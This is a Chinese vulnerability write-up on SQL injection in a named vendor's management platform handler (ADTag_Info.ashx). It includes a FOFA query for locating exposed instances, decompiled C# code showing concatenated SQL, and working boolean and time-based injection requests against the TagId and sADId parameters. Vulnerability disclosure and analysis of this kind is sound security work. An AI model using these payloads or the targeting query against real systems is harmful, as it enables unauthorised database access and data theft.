漏洞简介
福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 ADTag_Info.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
title="智慧综合管理平台登入"
漏洞分析
先看 ADTag_Info.ashx 页面引用的dll
<%@ WebHandler Language="C#" CodeBehind="ADTag_Info.ashx.cs" Class="KR.Administrator.Module.Controller.ADTag_Info" %>
其中 Module/AD/AD_Tag/Controller/ADTag_Info.ashx 和 Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx 代码一致,分析其中之一即可。
再看 KR.Administrator.Module.Controller.ADTag_Info 的业务逻辑实现
namespace KR.Administrator.Module.Controller;
public class ADTag_Info : IHttpHandler, IRequiresSessionState
{
private ADInfoDao bll = new ADInfoDao();
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str1 = WRequest.GetString("action");
try
{
if (string.op_Equality(str1, "find"))
{
int recordcount = 0;
string strWhere = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("Ad_Id")))
strWhere += $" and ADTypePreID = '{WRequest.GetString("Ad_Id")}'";
DataTable dataTableList = this.bll.GetDataTableList(WRequest.GetInt("pagesize") == 0 ? 20 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
DataGridModel dataGridModel = new DataGridModel()
{
total = recordcount,
data = dataTableList
};
context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
KR.Controls.Log.LogHelper.SysInfo(":查看!", new Exception(context.Request.Form.ToString()));
}
else if (string.op_Equality(str1, "save"))
this.save(context);
else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
{
Windor.JR.Model.ADInfo adInfo = this.bll.GetItem((long) WRequest.GetInt("id"));
context.Response.Write(JsonConvert.SerializeObject((object) adInfo));
}
else if (string.op_Equality(str1, "selectedDel"))
{
if (SystemHelper.checkPermission("ADInfo_btnDel"))
{
string str2 = WRequest.GetString("ids");
if (!string.IsNullOrEmpty(str2))
{
IList<Windor.JR.Model.ADInfo> list = (IList<Windor.JR.Model.ADInfo>) this.bll.GetList($"id in ({str2}) ");
KR.Controls.Log.LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (Windor.JR.Model.ADInfo adInfo in (IEnumerable<Windor.JR.Model.ADInfo>) list)
{
stringBuilder.Append(adInfo.id);
stringBuilder.Append(",");
}
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "conditionDel"))
{
if (SystemHelper.checkPermission("ADInfo_btnDel"))
{
string strWhere = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("ADId")))
strWhere += $" and ADId like '%{WRequest.GetString("ADId")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("StartDateBegin")))
strWhere += $" and StartDate >= '{WRequest.GetString("StartDateBegin")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("StartDateEnd")))
strWhere += $" and StartDate < '{WRequest.GetString("StartDateEnd")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("EndDateBegin")))
strWhere += $" and EndDate >= '{WRequest.GetString("EndDateBegin")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("EndDateEnd")))
strWhere += $" and EndDate < '{WRequest.GetString("EndDateEnd")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("Caption")))
strWhere += $" and Caption like '%{WRequest.GetString("Caption")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("ADTypeBegin")))
strWhere += $" and ADType >= {WRequest.GetString("ADTypeBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("ADTypeEnd")))
strWhere += $" and ADType < {WRequest.GetString("ADTypeEnd")}";
if (!string.IsNullOrEmpty(WRequest.GetString("ContentTypeBegin")))
strWhere += $" and ContentType >= {WRequest.GetString("ContentTypeBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("ContentTypeEnd")))
strWhere += $" and ContentType < {WRequest.GetString("ContentTypeEnd")}";
if (!string.IsNullOrEmpty(WRequest.GetString("Content")))
strWhere += $" and Content like '%{WRequest.GetString("Content")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("OrgId")))
strWhere += $" and OrgId like '%{WRequest.GetString("OrgId")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("ADTypePreID")))
strWhere += $" and ADTypePreID like '%{WRequest.GetString("ADTypePreID")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("org_idBegin")))
strWhere += $" and org_id >= {WRequest.GetString("org_idBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("org_idEnd")))
strWhere += $" and org_id < {WRequest.GetString("org_idEnd")}";
IList<Windor.JR.Model.ADInfo> list = (IList<Windor.JR.Model.ADInfo>) this.bll.GetList(strWhere);
KR.Controls.Log.LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (Windor.JR.Model.ADInfo adInfo in (IEnumerable<Windor.JR.Model.ADInfo>) list)
{
stringBuilder.Append(adInfo.id);
stringBuilder.Append(",");
}
if (stringBuilder.Length > 0)
{
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "exportExcel"))
this.exportExcel(context);
else if (string.op_Equality(str1, "findAD_Type"))
{
DataTable adType = this.bll.getAD_Type();
context.Response.Write(JsonConvert.SerializeObject((object) adType));
}
else if (string.op_Equality(str1, "findCheckData"))
{
string empty = string.Empty;
DataTable dataTable = new DataTable();
if (!string.IsNullOrEmpty(WRequest.GetString("TagId")))
dataTable = this.bll.getInfoCheckData(WRequest.GetString("TagId"));
context.Response.Write(JsonConvert.SerializeObject((object) dataTable));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
catch (Exception ex)
{
KR.Controls.Log.LogHelper.SysError($":操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
}
}
private void save(HttpContext context)
{
Windor.JR.Model.ADInfo model = new Windor.JR.Model.ADInfo();
model.id = WRequest.GetInt("id");
if (model.id != 0)
{
model = this.bll.GetItem((long) model.id);
if (model == null)
{
context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!指定的记录不存在或已经被其他用户删除!"));
return;
}
}
model.ADId = string.IsNullOrEmpty(WRequest.GetString("ADId").Trim()) ? Guid.NewGuid() : new Guid(WRequest.GetString("ADId").Trim());
model.StartDate = string.IsNullOrEmpty(WRequest.GetString("StartDate")) ? new DateTime?() : WRequest.GetString("StartDate").ToDateTime();
model.EndDate = string.IsNullOrEmpty(WRequest.GetString("EndDate")) ? new DateTime?() : WRequest.GetString("EndDate").ToDateTime();
model.Caption = WRequest.GetString("Caption").Trim();
model.ADType = WRequest.GetInt("ADType");
model.ContentType = WRequest.GetInt("ContentType");
model.Content = WRequest.GetString("Content").Trim();
model.OrgId = WRequest.GetString("OrgId").Trim();
if (!string.IsNullOrEmpty(WRequest.GetString("ADTypePreID").Trim()))
model.ADTypePreID = new Guid(WRequest.GetString("ADTypePreID").Trim());
model.org_id = WRequest.GetInt("org_id");
bool flag1;
bool flag2;
if (model.id != 0)
{
if (SystemHelper.checkPermission("ADInfo_btnUpdate"))
{
flag1 = this.bll.Update(model);
KR.Controls.Log.LogHelper.SysInfo(string.Format(":修改!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
flag2 = true;
}
else
{
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
return;
}
}
else if (SystemHelper.checkPermission("ADInfo_btnAdd"))
{
flag1 = this.bll.Add(model) > 0L;
KR.Controls.Log.LogHelper.SysInfo(string.Format(":新增!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
flag2 = false;
}
else
{
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
return;
}
if (flag1)
{
if (flag2)
context.Response.Write(SystemHelper.WriteResult("success", "修改成功!", "update"));
else
context.Response.Write(SystemHelper.WriteResult("success", "新增成功!", "add"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!操作过程中出现异常!"));
}
private void exportExcel(HttpContext context)
{
string condition = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("sADId")))
condition += $" and ADId like '%{WRequest.GetString("sADId")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sStartDateBegin")))
condition += $" and StartDate >= '{WRequest.GetString("sStartDateBegin")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("sStartDateEnd")))
condition += $" and StartDate < '{WRequest.GetString("sStartDateEnd")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("sEndDateBegin")))
condition += $" and EndDate >= '{WRequest.GetString("sEndDateBegin")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("sEndDateEnd")))
condition += $" and EndDate < '{WRequest.GetString("sEndDateEnd")}'";
if (!string.IsNullOrEmpty(WRequest.GetString("sCaption")))
condition += $" and Caption like '%{WRequest.GetString("sCaption")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sADTypeBegin")))
condition += $" and ADType >= {WRequest.GetString("sADTypeBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sADTypeEnd")))
condition += $" and ADType < {WRequest.GetString("sADTypeEnd")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sContentTypeBegin")))
condition += $" and ContentType >= {WRequest.GetString("sContentTypeBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sContentTypeEnd")))
condition += $" and ContentType < {WRequest.GetString("sContentTypeEnd")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sContent")))
condition += $" and Content like '%{WRequest.GetString("sContent")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sOrgId")))
condition += $" and OrgId like '%{WRequest.GetString("sOrgId")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sADTypePreID")))
condition += $" and ADTypePreID like '%{WRequest.GetString("sADTypePreID")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idBegin")))
condition += $" and org_id >= {WRequest.GetString("sorg_idBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idEnd")))
condition += $" and org_id < {WRequest.GetString("sorg_idEnd")}";
DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
return;
SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "导出Excel表");
}
public bool IsReusable => false;
}
在ADTag_Info类的ProcessRequest方法中,多个操作(如find、conditionDel、selectedDel、exportExcel、findCheckData)直接使用用户可控参数拼接SQL语句,未进行有效的过滤或参数化处理,导致攻击者可构造恶意输入执行任意SQL命令。
其中 selectedDel、conditionDel 以及 save 均需要权限验证,暂不考虑。重点看其他几个处理逻辑。
findCheckData 里将获取的 TagId 直接带入 getInfoCheckData 方法,看下其实现如下
public DataTable getInfoCheckData(string TagId)
{
string sql = $"select ai.* from AD_Tag at \r\n inner join dbo.AD_Info_Tag_Mod ait on CONVERT(varchar(100),at.TagId) = ait.TagID\r\n inner join AD_Info ai on ai.ADId = ait.AD_Info_ID\r\n where at.TagId = '{TagId}'";
return DbHelperFactory.GetDbHelper().Query(sql).Tables[0];
}
在getInfoCheckData方法中,直接使用用户输入的TagId参数拼接SQL语句,未进行任何过滤或参数化处理,导致攻击者可通过构造恶意输入执行任意SQL命令。但是 find 的this.bll.GetDataTableList 构造使用储存过程执行sql,存不存在sql注入取决于储存过程 UP_GetRecordByPage 的写法。
public override DataTable GetDataTableList(
string tableOrView,
int PageSize,
int PageIndex,
string fieldName,
string orderFields,
string strWhere,
out int recordcount)
{
if ((object) this.Model == null)
throw new InvalidOperationException("无效的 Model 属性,在调用本函数前请先设置 Model 属性。");
SqlParameter[] sqlParameterArray1 = new SqlParameter[6]
{
new SqlParameter("@tblName", (SqlDbType) 22, -1),
new SqlParameter("@fieldName", (SqlDbType) 22, -1),
new SqlParameter("@OrderField", (SqlDbType) 22, -1),
new SqlParameter("@PageSize", (SqlDbType) 8),
new SqlParameter("@PageIndex", (SqlDbType) 8),
new SqlParameter("@strWhere", (SqlDbType) 22, -1)
};
int num1 = 0;
SqlParameter[] sqlParameterArray2 = sqlParameterArray1;
int index1 = num1;
int num2 = index1 + 1;
((DbParameter) sqlParameterArray2[index1]).Value = (object) tableOrView;
SqlParameter[] sqlParameterArray3 = sqlParameterArray1;
int index2 = num2;
int num3 = index2 + 1;
((DbParameter) sqlParameterArray3[index2]).Value = !string.IsNullOrEmpty(fieldName) ? (object) fieldName : (object) " * ";
SqlParameter[] sqlParameterArray4 = sqlParameterArray1;
int index3 = num3;
int num4 = index3 + 1;
((DbParameter) sqlParameterArray4[index3]).Value = !string.IsNullOrEmpty(orderFields) ? (object) orderFields : (object) this.Model.GetPrimaryFields();
SqlParameter[] sqlParameterArray5 = sqlParameterArray1;
int index4 = num4;
int num5 = index4 + 1;
((DbParameter) sqlParameterArray5[index4]).Value = (object) PageSize;
SqlParameter[] sqlParameterArray6 = sqlParameterArray1;
int index5 = num5;
int num6 = index5 + 1;
((DbParameter) sqlParameterArray6[index5]).Value = (object) PageIndex;
SqlParameter[] sqlParameterArray7 = sqlParameterArray1;
int index6 = num6;
int num7 = index6 + 1;
((DbParameter) sqlParameterArray7[index6]).Value = !string.IsNullOrEmpty(strWhere) ? (object) strWhere : (object) "";
DataSet dataSet = this.CurrentHelper.ExecuteProcedure("UP_GetRecordByPage", "ds", (IDataParameter[]) sqlParameterArray1);
recordcount = 0;
if (((InternalDataCollectionBase) dataSet.Tables).Count > 0)
recordcount = Convert.ToInt32(dataSet.Tables[1].Rows[0][0].ToString());
return dataSet.Tables[0];
}
如果是如下写法
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'SELECT ... FROM ' + @tblName + ' WHERE 1=1 ' + @strWhere + ' ORDER BY ...'
EXEC(@sql)
那么传入的 @strWhere 里的内容不会再参数化,而是直接拼在SQL字符串中执行,则会造成SQL注入漏洞。
整体执行流程如下图所示:
漏洞复现
action=findCheckData
POST /Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=findCheckData&TagId='or '1'='1

布尔注入,结果出现差异

action=exportExcel
POST /Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=exportExcel&sADId='waitfor+delay'0:0:4'--

成功延时 4 秒





